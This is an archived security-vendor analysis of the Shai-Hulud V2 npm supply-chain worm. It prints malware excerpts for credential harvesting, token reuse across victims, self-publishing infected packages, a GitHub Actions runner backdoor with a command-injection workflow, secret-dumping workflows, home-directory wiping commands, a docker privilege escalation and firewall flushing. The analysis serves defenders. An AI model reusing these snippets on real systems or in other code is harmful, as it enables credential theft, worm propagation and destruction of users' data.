{
	"id": "8f8d9bff-f2cc-422f-9ea5-040efa7c8ec1",
	"created_at": "2026-04-06T00:08:44.780412Z",
	"updated_at": "2026-04-10T03:20:46.040233Z",
	"deleted_at": null,
	"sha1_hash": "3c35dbb243d34cc2fbd9d018d9da5a1ae749f0a0",
	"title": "Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 118882,
	"plain_text": "Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz\r\nBy Atinderpal Singh\r\nPublished: 2025-12-02 · Archived: 2026-04-05 22:36:44 UTC\r\nTechnical Analysis\r\nInitial vector\r\nThe attack begins when a developer or a CI/CD pipeline installs a compromised  npm package. Unlike the first\r\ncampaign, which relied on postinstall hooks, Shai-Hulud V2 exploits the preinstall lifecycle script. This critical\r\nchange increases the impact of the attack, as the malicious code executes before the package installation\r\ncompletes, allowing even failed installations to trigger the payload.\r\nBun adoption\r\nA key advancement in Shai-Hulud V2 is the adoption of Bun, a high-performance JavaScript runtime, instead of\r\nNode.js. The  setup_bun.js dropper script performs several functions, such as:\r\nChecks if Bun is already installed via a PATH lookup.\r\nDownloads and installs Bun using official installers, if it is not already present.\r\nLaunches the obfuscated payload ( bun_environment.js ) as a detached background process.\r\nThis approach provides multiple evasion layers, such as:\r\nThe initial loader is small (~150 lines) and appears legitimate.\r\nBun's self-contained architecture reduces the detection surface.\r\nThe actual payload ( bun_environment.js ) is a 480,000+ line obfuscated file, making it too large for\r\ncasual inspection.\r\nTraditional defenses configured for Node.js behavior may fail to detect Bun-based execution.\r\nEnvironment-aware execution\r\nThe malware’s behavior adapts depending on the execution environment.\r\nCI/CD environments\r\nDetected via environment variables such\r\nas  GITHUB_ACTIONS ,  BUILDKITE ,  CIRCLE_SHA1 ,  CODEBUILD_BUILD_NUMBER , and  PROJECT_ID . The malware\r\noperates as follows:\r\nThe package installation process only completes after the malware has finished its execution.\r\nThe malware ensures that the CI/CD runner remains active throughout the infection.\r\nTargets and extracts high-value CI/CD secrets stored in the environment.\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 1 of 9\n\nDeveloper environments\r\nRuns silently in the background, avoiding delays that could alert the developer.\r\nEnsures the development process proceeds as expected while exfiltration activity occurs unnoticed.\r\nThe following code demonstrates how the malware dynamically detects its execution environment.\r\nasync function jy1() {\r\nif (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD\r\n await executePayload();\r\n} else {\r\n if (process.env.POSTINSTALL_BG !== \"1\") {\r\n let _0x4a3fc4 = process.execPath;\r\n if (process.argv[0x1]) {\r\n Bun.spawn([_0x4a3fc4, process.argv[0x1]], {\r\n env: {\r\n ...process.env,\r\n POSTINSTALL_BG: \"1\"\r\n }\r\n }).unref();\r\n return;\r\n }\r\n }\r\n try {\r\n await aL0();\r\n } catch (_0x178685) {\r\n process.exit(0x0);\r\n }\r\n}\r\n}\r\nCredential harvesting\r\nThe malware deploys a strategy to discover and exploit credentials across different sources: \r\nGitHub tokens\r\nSearches for Personal Access Tokens ( ghp_ ) and OAuth tokens ( gho_ ) within environment variables.\r\nNPM tokens\r\nExtracts  npm authentication tokens from  .npmrc files.\r\nRetrieves  npm tokens from the  NPM_CONFIG_TOKEN environment variable.\r\nToken validation\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 2 of 9\n\nAPI calls are used to verify the validity of the discovered tokens.\r\nThe following code shows how the malware performs token validation.\r\nasync [\"validateToken\"]() {\r\n if (!this.token) {\r\n return null;\r\n }\r\n let _0x5cd25b = await fetch(this.baseUrl + \"/-/whoami\", {\r\n method: \"GET\",\r\n headers: {\r\n Authorization: \"Bearer \" + this.token,\r\n \"Npm-Auth-Type\": \"web\",\r\n \"Npm-Command\": \"whoami\",\r\n \"User-Agent\": this.userAgent,\r\n Connection: \"keep-alive\",\r\n Accept: \"*/*\",\r\n \"Accept-Encoding\": \"gzip, deflate, br\"\r\n }\r\n });\r\n if (_0x5cd25b.status === 0x191) {\r\n throw Error(\"Invalid NPM\");\r\n }\r\n if (!_0x5cd25b.ok) {\r\n throw Error(\"NPM Failed: \" + _0x5cd25b.status + \" \" + _0x5cd25b.statusText);\r\n }\r\n return (await _0x5cd25b.json()).username ?? null;\r\n}\r\nCloud provider credentials\r\nThe malware bundles official software development kits (SDKs) for Amazon Web Services (AWS), Google Cloud\r\nPlatform (GCP), and Azure, enabling it to operate independently of host tools:\r\nAWS \r\nIdentifies credentials from multiple sources, including environment variables, single sign-on (SSO), token files,\r\ncontainer metadata, instance metadata, and configuration profiles, while scanning across 17 regions for secrets\r\nstored in AWS Secrets Manager.\r\nGCP\r\nLeverages Application Default Credentials (ADC) to authenticate and extract secrets from Google Secret\r\nManager.\r\nAzure \r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 3 of 9\n\nUtilizes DefaultAzureCredential to authenticate and retrieve secrets from Azure Key Vault.\r\nTruffleHog abuse\r\nThe malware incorporates TruffleHog, a legitimate open-source secret scanning tool, to scan the user's entire\r\nhome directory. This process looks for:\r\nAPI keys and passwords embedded in configuration files.\r\nSecrets in source code and/or git history.\r\nCloud credentials in unexpected locations.\r\nThe TruffleHog binary is cached in  ~/.truffler-cache/ for subsequent executions.\r\nData exfiltration via GitHub\r\nIn Shai-Hulud V2, stolen data is exfiltrated to GitHub repositories that are created using compromised tokens,\r\nrather than relying on external command-and-control (C2) servers, which in V1 were vulnerable to rate-limiting.\r\nBy leveraging GitHub's API traffic, this method masks malicious activity as legitimate and makes detection more\r\nchallenging.\r\nThe malware creates repositories with:\r\nRandom 18-character names (e.g.  zl8cgwrxf1ufhiufxq ).\r\nDescriptions such as \"Sha1-Hulud: The Second Coming.\"\r\nDiscussions enabled (required for the backdoor mechanism).\r\nEach repository contains files, all uploaded in double Base64 encoding to evade detection. The table below\r\nsummarizes the content of these exfiltrated files:\r\nFile Contents\r\ncontents.json System information, GitHub token used for exfiltration, and account metadata.\r\nenvironment.json Complete dump of  process.env , containing all environment variables.\r\ncloud.json Secrets from AWS, GCP, and Azure secret secret managers.\r\nactionsSecrets.json GitHub Actions repository secrets extracted via API.\r\ntruffleSecrets.json TruffleHog scan results from the user's home directory.\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 4 of 9\n\nTable 2: Details the files exfiltrated by Shai-Hulud V2.\r\nCross-victim credential recycling\r\nShai-Hulud V2 can leverage stolen credentials from other victims. If the malware fails to extract a valid GitHub\r\ntoken from the current environment, it searches for repositories created during previous infections.\r\nThe following code demonstrates how the malware locates and retrieves these stolen tokens.\r\nasync fetchToken() {\r\n// Search GitHub for repositories with the identifying marker.\r\nlet searchResults = await this.octokit.rest.search.repos({\r\n q: '\"Sha1-Hulud: The Second Coming.\"',\r\n sort: \"updated\",\r\n order: 'desc'\r\n});\r\nfor (let repo of searchResults.data.items) {\r\n // Download contents.json from the previous victim's repository.\r\n let url = `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`;\r\n let response = await fetch(url);\r\n \r\n // Decode triple-Base64 encoded data.\r\n let data = JSON.parse(Buffer.from(rawContent, \"base64\").toString(\"utf8\"));\r\n let stolenToken = data.modules?.github?.token;\r\n \r\n // Validate and use the stolen token.\r\n if (stolenToken \u0026\u0026 await validateToken(stolenToken)) {\r\n return stolenToken;\r\n }\r\n}\r\nreturn null;\r\n}\r\nShai-Hulud V2 creates a network effect, where each compromised account can potentially expose credentials\r\nbelonging to other victims. This approach significantly extends the malware's operational lifespan, even as\r\nindividual tokens are revoked or accounts are secured.\r\nWorm propagation via NPM\r\nThe malware exploits valid  npm tokens to automate its spread across the  npm ecosystem without direct threat\r\nactor intervention. Once a token is discovered, the malware performs the following steps:\r\n1. Queries  npm for all packages maintained by the victim.\r\n2. Downloads each package tarball files.\r\n3. Injects the malicious preinstall hook into  package.json .\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 5 of 9\n\n4. Bundles  setup_bun.js and  bun_environment.js  within the package.\r\n5. Increments the patch version (e.g. 18.0.2 to 18.0.3).\r\n6. Publishes the infected version using the stolen token.\r\nThe code below demonstrates how the malware automates these steps.\r\npackageJson.scripts.preinstall = \"node setup_bun.js\";\r\n// Increment patch version.\r\nlet versionParts = packageJson.version.split('.').map(Number);\r\nversionParts[2] = (versionParts[2] || 0) + 1;\r\npackageJson.version = versionParts.join('.');\r\nawait Bun.$`npm publish ${updatedTarball}`.env({\r\n ...process.env,\r\n 'NPM_CONFIG_TOKEN': this.token\r\n});\r\nGitHub Actions backdoor\r\nShai-Hulud V2 features self-hosted GitHub Actions runners. This capability provides threat actors with persistent,\r\nauthenticated remote code execution (RCE) that survives system reboots and can be triggered anytime, giving\r\nthem long-term control over compromised environments.\r\nRunner installation\r\nWith a stolen GitHub token that includes the Workflow OAuth scope, the malware initiates the following\r\nsequence:\r\n1. Creates a runner registration token via the GitHub API.\r\n2. Downloads the official GitHub Actions runner (v2.330.0).\r\n3. Installs the runner in a hidden directory ( ~/.dev-env/ ).\r\n4. Registers the runner under the name SHA1HULUD.\r\n5. Starts the runner as a background process.\r\nCross-platform compatibility\r\nThe malware is capable of deploying self-hosted runners across Windows, macOS, and Linux, using tailored\r\ninstallation steps for each operating system.\r\nBelow is the code that automates the runner installation process for Linux systems.\r\n// Linux installation instructions.\r\nawait Bun.$`mkdir -p $HOME/.dev-env/`;\r\nawait Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/downlo\r\n .cwd(os.homedir + \"/.dev-env\").quiet();\r\nawait Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 6 of 9\n\n.cwd(os.homedir + \"/.dev-env\");\r\nawait Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${repo} --unattended --token\r\n .cwd(os.homedir + \"/.dev-env\").quiet();\r\n \r\n// Start runner in the background.\r\nBun.spawn([\"bash\", '-c', \"cd $HOME/.dev-env \u0026\u0026 nohup ./run.sh \u0026\"]).unref();\r\nWorkflow exploitation\r\nAfter installing the runner, the malware creates a malicious workflow file\r\n( .github/workflows/discussion.yaml) that contains an intentional command injection vulnerability. This\r\nvulnerability allows threat actors to execute arbitrary commands on the victim’s system by inserting them into the\r\nbody of a GitHub Discussion.\r\nThe vulnerability resides in the following line of the workflow: run: echo ${{ github.event.discussion.body\r\n}}\r\nThe malicious workflow runs on the compromised self-hosted runner, meaning any threat actor with access to the\r\nrepository can trigger the execution of arbitrary commands by opening a discussion.\r\nWhy this matters\r\nThe GitHub Actions backdoor significantly elevates the capabilities of Shai-Hulud V2 in the following ways:\r\nThe runner survives package removal and system reboots.\r\nAll communication uses GitHub's HTTPS infrastructure, bypassing traditional network-based detection.\r\nAny GitHub user can trigger code execution (no sophisticated hacking skills are required).\r\nThe runner appears as a standard GitHub Actions component in  ~/.dev-env/ .\r\nEvery public repository with this workflow becomes a potential attack vector.\r\nSecret exfiltration\r\nThe malware also deploys a secondary workflow ( .github/workflows/formatter_123456789.yml ) to steal\r\nGitHub Actions secrets. The workflow collects sensitive information stored in repository secrets and packages it\r\ninto a JSON artifact ( actionsSecrets.json ) that can be retrieved by the threat actor.\r\nThe malicious workflow does the following:\r\nDumps all repository secrets to a JSON file.\r\nUploads the secrets as artifacts.\r\nThe malware downloads the artifacts.\r\nDeletes the workflow and branch to hide evidence of the malware’s presence.\r\nThe actual workflow is shown below.\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 7 of 9\n\nname: Code Formatter\r\non: push\r\njobs:\r\n lint:\r\n runs-on: ubuntu-latest\r\n env:\r\n DATA: ${{ toJSON(secrets)}}\r\n steps:\r\n - uses: actions/checkout@v5\r\n - name: Run Formatter\r\n run: |\r\n cat format.json\r\n $DATA\r\n EOF\r\n - uses: actions/upload-artifact@v5\r\n with:\r\n path: format.json\r\n name: formatting\r\nDead man's switch\r\nShai-Hulud V2 includes a failsafe mechanism, often referred to as a dead man's switch. This functionality is\r\ntriggered when the malware detects containment; specifically, if the infected system loses access to both GitHub\r\n(used for exfiltration) and npm (used for propagation). Once activated, the dead man’s switch initiates data\r\ndestruction across the compromised system using cipher and shred , respectively, which can make forensic\r\nrecovery virtually impossible.\r\nDestruction process\r\nWindows: Wipes the user’s profile folder and overwrites files (using cipher /W) to ensure they cannot be\r\nrecovered, as shown in the code example below.\r\ndel /F /Q /S \"%USERPROFILE%\\*\" \u0026\u0026\r\nfor /d %%i in (\"%USERPROFILE%\\*\") do rd /S /Q \"%%i\" \u0026\r\ncipher /W:%USERPROFILE%\r\nLinux/macOS: Overwrites files using shred -uvz and removes empty directories, as shown in the code\r\nexample below.\r\nfind \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 |\r\nxargs -0 -r shred -uvz -n 1 \u0026\u0026\r\nfind \"$HOME\" -depth -type d -empty -delete\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 8 of 9\n\nIf platforms like GitHub or npm take sweeping actions, such as mass-deleting malicious repositories or revoking\r\ncompromised tokens, the failsafe could activate across thousands of infected systems and destroy user data.\r\nAzure DevOps exploitation\r\nThe malware includes specialized logic for detecting and exploiting Azure DevOps build agents running on Linux\r\nsystems.\r\nExploitation sequence\r\n1. The malware first checks for the presence of an Azure DevOps build agent by searching for specific processes.\r\nThis is achieved via a script that scans the running commands for the path  /home/agent/agent , as shown in the\r\ncode below.\r\nasync function detectAzureDevOpsAgent() {\r\n return (await Bun.$`ps -axco command | grep \"/home/agent/agent\"`.text()).trim() !== '';\r\n}\r\n2. Upon detecting an agent, the malware uses a Docker container breakout technique to escalate its privileges, as\r\nshown in the code below.\r\nawait Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c \"cp /host/tmp/runner /host/etc/sudoers.d/run\r\n3. The malware disables iptables firewall rules, as shown in the code below.\r\nawait Bun.$`sudo iptables -t filter -F OUTPUT`;\r\nawait Bun.$`sudo iptables -t filter -F DOCKER-USER`;\r\n4. The malware modifies DNS resolution settings, allowing it to reroute traffic and evade network-based security\r\nmeasures.\r\nSource: https://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nhttps://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain"
	],
	"report_names": [
		"shai-hulud-v2-poses-risk-npm-supply-chain"
	],
	"threat_actors": [],
	"ts_created_at": 1775434124,
	"ts_updated_at": 1775791246,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3c35dbb243d34cc2fbd9d018d9da5a1ae749f0a0.pdf",
		"text": "https://archive.orkl.eu/3c35dbb243d34cc2fbd9d018d9da5a1ae749f0a0.txt",
		"img": "https://archive.orkl.eu/3c35dbb243d34cc2fbd9d018d9da5a1ae749f0a0.jpg"
	}
}